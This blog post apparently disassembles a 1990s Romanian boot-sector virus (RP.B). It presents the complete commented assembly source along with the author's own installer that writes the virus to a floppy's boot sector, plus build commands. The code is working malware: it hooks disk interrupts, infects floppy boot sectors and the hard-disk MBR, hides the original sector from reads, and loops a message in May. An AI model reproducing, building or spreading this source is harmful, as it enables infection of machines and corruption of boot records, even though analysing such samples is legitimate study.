Dissasembling a computer virus
Today my computer almost got virused. A friend brought a diskette to my house and I rebooted my computer with the disk still in…
Intrigued by this event, I wanted to see what’s on the boot sector of that diskette… so I dumped the boot sector in a file and start to disassemble the file.
To my surprise, it was a romanian virus (based on the text messages contained inside).
For educational purposes, I commented out the code of entire virus, as well as the effects of this virus… I even created an ‘installer’ like application. Let’s be clear: the installer is mine… the virus provenience is unknown.
I commented out the virus in romanian since this will be used in an educational paper that I plan to publish.
To assemble the code you need to:
- save the assembly code in file RPBVIRUS.ASM
- use command TASM RPBVIRUS.ASM
- use command TLINK RPBVIRUS.OBJ /t
The result of running these commands will be a .COM file. If you run it it will ask if you want to install the virus in the boot sector of disk A:.
; ===================================================
; = RP.B este un virus romanesc =
; = prins, dezasamblat si commentat =
; = de VMA soft in 1997 pentru scopuri educationale =
; ===================================================
; RP.B este un virus romanesc care isi face aparitia vizuala in luna Mai.
; Daca luna curenta este mai el afiseaza in bucla infinita urmatorul
; mesaj : "Only bugs exist! RP 1995 Bucharest" neproducand infectii.
; Daca nu este luna mai atunci el infecteaza sectoarele de boot ale disktelor
; si tabela de partitii a harddiskului.
; Sectoarul original cu tabela de partitii este copiat pe sectorul fizic 14,
; fata 0, cilindrul 0 la hardiskuri sau pe sectorul fizic 14, fata 1, cil. 0
; la diskete cu MediaByte=0F0h sau pe sectorul 3 la diskete cu MediaByte<>0F0h
; In mod normal la hardisk acest sector este nefolosit iar la disketele ce au
; MediaByte=0F0h acest sector reprezinta sectorul logic 31, adica penultimul
; sector din ROOT (de obicei ROOT-ul are 14 sectoare).
; Virusul se autocopiaza in ultimul KByte de RAM raportat de BIOS si instaleaza
; rutine noi pentru tratarea intreruperilor 13h si 12h.
; Se foloseste un contor care memoreaza de cate ori a fost accesata INT 13H
; in alte scopuri decat pentru a citi MBR-ul sau BOOT-ul. Daca acest contor
; ajunge la 90 atunci INT 12H va returna 640K de memorie. Contorul devine 0
; daca se acceseaza MBR-ul sau BOOT-ul unei dischete.
; OBS: Acest program de instalare a virusului pe disketa nu copiaza sec0 in
; sec31, de aceea la boot-area de pe aceasta disketa veti primi probabil un
; mesaj de eroare din partea BIOS-ului. Urmatoarele diskete ce se vor accesa
; cat si harddiskul vor beneficia de o virusare 'corecta'.
;
; OBS: Acest virus nu este recunoscut de TBAV 7.07 dar este recunoscut de F-PROT 2.24c
.model tiny
.code
org 100h
entry:
; =================================================
; Partea asta copiaza sectorul de BOOT pe discul A:
; In felul acesta se instaleaza virusul RP in BOOT
; =================================================
lea si, mes1
call AfisTxt ; se afiseaza mesajul introductiv
get_y_n:
mov ah,8 ; verifica daca se doreste instalarea virusului
int 21h
cmp al,'D'
jz yes
cmp al,'d'
jz yes
cmp al,'N'
jz no
cmp al,'n'
jz no
jmp get_y_n
yes: xor al,al ; al = 0 - Discul A:
mov cx,1 ; cx = 1 - Numarul de sectoare de scris
xor dx,dx ; dx = 0 - Sectorul de BOOT
push ds
lea bx,RPVirus
int 26h ; scrie 512 bytes de la adresa ds:[bx]
pop ax ; scot byte-ul ramas aiurea pe stiva
pop ds
jc _Cont1
lea si, mes2
call AfisTxt
xor al,al ; Se returneaza 0 pentru instalare normala
jmp short _Cont2
_Cont1: lea si, mes3
call AfisTxt
mov al,1 ; Se returneaza 1 pentru eroare la scriere pe discul A:
_Cont2: mov ah,4Ch
int 21h
No: lea si, mes4
call AfisTxt
mov al,2 ; Se returneaza 2 pentru program intrerupt de utilizator
jmp short _Cont2
mes1: db 'VMA RPVirus Installer . Versiunea 1.0 (c) VMA software', 0Ah, 0Dh
db 'Doriti sa instalati virusul in sectorul de BOOT A: (D/N) ?',0Ah, 0Dh, 0
mes2: db 'Sectorul de BOOT de pe discul A: a fost inlocuit cu succes.', 0Ah, 0Dh,0
mes3: db 'Eroare la scriere pe discul A:', 0Ah, 0Dh,0
mes4: db 'Program intrerupt de utilizator! Virusul nu s-a instalat !', 0Ah, 0Dh,0
; ========================= ; afiseaza sirul ASCIIZ de la
; Subrutina pentru afisat ; adresa ds:[si]
; =========================
AfisTxt proc near
cld
Next1:
lodsb ; String ds:[si] -> al
or al,al ; Zero ?
jnz Next2 ; Jump daca nu
retn
Next2:
push si
mov ah,0Eh
int 10h
pop si
jmp short Next1
AfisTxt endp
; ===================================
; Aici incepe codul pentru virusul RP
; ===================================
RPVirus proc near
FixPoint equ 7C00h
ProgBegin equ $
NewInt13hHan equ FixPoint+(offset NewInt13h)-ProgBegin
NewInt12hHan equ FixPoint+(offset NewInt12h)-ProgBegin
Old13hVec equ FixPoint+(offset Old13h)-ProgBegin
Old12hVec equ FixPoint+(offset Old12h)-ProgBegin
BOOTHdr equ Fixpoint+(offset hdr)-ProgBegin
MBRecord equ FixPoint+(offset mesaj1)-ProgBegin
ContorNoRead equ FixPoint+(offset Contor)-ProgBegin
MesajLunaMai equ FixPoint+(offset mesajmai)-ProgBegin
jmp short start
nop
Hdr: db 'MSDOS5.0' ; 8 bytes - Numele si versiune SO
dw 512 ; Dimensiunea sectorului in octeti
db 1 ; Numarul de sectoare/cluster
dw 1 ; Sectoare ocupate pana la prima copie FAT
db 2 ; Numarul de copii FAT
dw 224 ; Numarul intrarilor in directorul radacina : 224*32/512=14 sectoare ocupate de ROOT
dw 2880 ; Numarul total de sectoare ale discului : (2880*512-1457664)/512=33 sectoare rezervate
db 0F0h ; Tipul discului identic cu primul byte din FAT (MediaByte)
dw 9 ; Numarul de sectoare/copie FAT
dw 18 ; Numarul de sectoare/pista
dw 2 ; Numarul de fete (capete de citire/scriere)
dd 0 ; Numarul de sectoare din fata sectorului de BOOT : pt. discheta este 0
dd 0 ; Nefolosit ( Big total number of sectors )
dw 0 ; Numarul discului fizic
db 29h ; Extended boot sector signature
db 02h,1Fh,61h,1Dh ; Numarul serial al dischetei
db 'PCT9U_03-05' ; 11 bytes - Eticheta dischetei ( Volume label )
db 'FAT12 ' ; 8 bytes - Identificator pentru tipul de fisiere
db 0FAh
Contor: db 00h
Old13h: db 54h, 0A2h, 00h, 0F0h
Old12h: db 41h, 0F8h, 00h, 0F0h
Start: push cs
pop ds
mov ah,4
int 1Ah ; obtine in DH luna curenta
cmp dh,5
jne Nu_e_MAI
jmp LunaMai ; daca este luna MAI sare la LunaMai
Nu_e_MAI:
mov bx,13h*04h ; memoreaza la Old13h vectorul INT 13h
mov ax,[bx]
mov cs:Old13hVec,ax
mov bx,13h*04h+2
mov ax,[bx]
mov word ptr cs:Old13hVec+2,ax
mov bx,12h*04h ; memoreaza la Old12h vectorul INT 12h
mov ax,[bx]
mov cs:Old12hVec ,ax
mov bx,12h*04h+2
mov ax,[bx]
mov word ptr cs:Old12hVec+2,ax
mov bh,04h
mov bl,13h ; BX = 0413h (Memory size in KBytes)
mov ax,[bx]
dec ax
mov [bx],ax ; Scade 1K din memoria raportata de BIOS la adr 413h
mov cl,6 ; Calculeaza in AX segmentul corespunzator
shl ax,cl ; ultimului K de memorie in care se va copia
sub ax,7C0h ; virusul
push ax
mov bx,13h*04h+2
mov [bx],ax
mov bx,12h*04h+2
mov [bx],ax
mov bx,13h*04h
mov ax,NewInt13hHan ; Seteaza vectorul INT 13h spre NewInt13h
mov [bx],ax
mov bx,12h*04h
mov ax,NewInt12hHan ; Seteaza vectorul INT 12h spre NewInt12h
mov [bx],ax
pop ax ; AX = segmentul corespunzator ultimului KByte
mov si,FixPoint
mov di,si
mov es,ax
mov cx,512/2
cld ; Copiaza virusul de la adresa 0:7C00h
rep movsw ; in ultimul KByte de memori
int 19h ; Incarca sistemul
NewInt13h: cmp ah,2 ; AH=2 Functia de citire sectoare
jne NoBOOTRead ; Verifica daca se citeste MasterBOOT-ul sau BOOT-ul la diskete
cmp cx,1 ; sau sectorul de BOOT la dischete
jne NoBOOTRead ; Petru citire trebuie:
cmp dh,0 ; AX = 0201h ; CX = 1 ; DH = 00h
jne NoBOOTRead ; DL = 80h => HardDisk ; DL = 0 => FloppyDisk
mov byte ptr cs:ContorNoRead ,0 ; Daca se citeste sectorul respectiv atunci Contor=0
pushf
call dword ptr cs:Old13hVec ; Se apeleaza vechea rutina pt INT 13h
jc loc_ret_7 ; JMP loc_ret_7 daca eroare la citire
cmp word ptr es:[bx][offset VirusFlag-progbegin],0303h ; Verifica daca sectorul citit este deja infectat
je loc_6 ; Daca DA atunci citeste sectorul original pe care l-a salvat in alta parte (vezi Calcul)
call sub_1 ; Daca NU atunci copiaza sectorul original in alta parte (vezi Calcul)
jnc loc_3
clc
retf 2 ; Daca eroare la scriere atunci se revine din intrerupere
loc_3:
push ds
push es
pop ds ; DS=ES
push cs
pop es ; ES=CS
mov si,bx
add si,1BEh
mov di,MBRecord
mov cx,66/2 ; Copiaza 66 de bytes de la offsetul 1BEh relativ la sectorul citit
cld ; in zona cu Mesaj1. (cei 66 de bytes reprezinta Master Boot Record daca este HardDisk)
rep movsw
mov si,bx
add si,3
mov di,BOOTHdr
mov cx,60/2 ; Copiaza 60 de bytes de la offsetul 3 relativ la sectorul citit
cld ; in zona cu Hdr. (cei 60 de bytes reprezinta datele din BOOT daca este disketa)
rep movsw
pop ds
mov ax,0301h ; Se scrie pe disc in sectorul 1
mov cx,1 ; zona de memorie ce contine virusul
mov bx,FixPoint
xor dh,dh ; DH=0 -> Partition Table sau BOOT Dischete
pushf
call dword ptr cs:Old13hVec
retf 2
NoBOOTRead:
cmp byte ptr cs:ContorNoRead ,90
je loc_5
inc byte ptr cs:ContorNoRead
loc_5:
jmp dword ptr cs:Old13hVec
sub_1 proc near ; Copiaza sectorul original care nu este infectat
call Calcul ; la noua pozitie returnata de Calcul
mov ax,301h
pushf
call dword ptr cs:Old13hVec
retn
sub_1 endp
loc_6: call Calcul ; Daca sectorul citit (MB sau BOOT) este deja infectat atunci
mov ax,0201h ; se citeste sectorul 14 in loc de MB pt HardDisk-uri sau
pushf ; se citeste sectorul 14 sau 3 in loc de BOOT pt dischete
call dword ptr cs:Old13hVec
loc_ret_7: retf 2
Calcul proc near ; Subrutina CALCUL returneaza:
mov cl,14 ; CL=14 daca MB HardDisk (DL>=80h)
cmp dl,80h ; CL=14 & DH=1 daca Discketa cu MediaByte=0F0h
jae CalculRet ; CL=3 & DH=1 daca Discketa cu MediaByte<>0F0h
mov dh,1
mov al,es:[bx+15h] ; ES:[BX+15h]=MediaByte
cmp al,0F0h
je CalculRet
mov cl,3
CalculRet: retn
Calcul endp
NewInt12h: cmp byte ptr cs:ContorNoRead ,90
jne cont1
mov ax,640
iret
Cont1: jmp dword ptr cs:Old12hVec
MesajMai: ; Aici este urmatorul (MESAJ) XOR 240
; db 'Only bugs exist! ',10h
; db 'RP 1995 Bucharest',0D4h
db 0BFh, 9Eh, 9Ch, 89h, 0D0h, 92h, 85h, 97h, 83h
db 0D0h, 95h, 88h, 99h, 83h, 84h, 0D1h, 0D0h, 0EAh
db 0A2h, 0A0h, 0D0h, 0C1h, 0C9h, 0C9h, 0C5h, 0D0h, 0B2h
db 85h, 93h, 98h, 91h, 82h, 95h, 83h, 84h, '$'
LunaMai: xor ax,ax ; Seteaza modul video 0
int 10h
mov si,MesajLunaMai
mov bx,000Ah ; BH=0 -> pagina 0 ; BL=10 -> culoarea
mov cx,1 ; De cate ori afiseaza caracterul
mov dx,0A01h
Cont2:
mov ah,2
inc dl ; Coordonatele cursorului: DH=10;DL=2
int 10h ; Pozitioneaza cursorul la (L=10,C=2)
mov ah,9 ; Functia de scriere caracter si atribut la cursor
lodsb ; Preia cate un caracter din MesajMai
cmp al,'$'
je Cont3
xor al,240 ; Decodifica : CARACTER XOR 240
int 10h ; Afiseaza caracter
jmp short Cont2
Cont3: mov cx,0FFFFh
Delay: loop Delay ; Produce un Delay
jmp short LunaMai ; Intra in bucla infinita: <Setare mod 0; Afisare Txt; Delay>
VirusFlag: db 03h, 03h ; Semnatura virusului in sector
Mesaj1: db 0Ah,'Replace and press any key when ready', 0Dh, 0Ah, 0
db 'IO SYS'
db 'MSDOS SYS'
progend equ $
db 00h,000h
db 55h,0AAh ; Semnatura pentru sector MB sau BOOT
RPVirus endp
end entry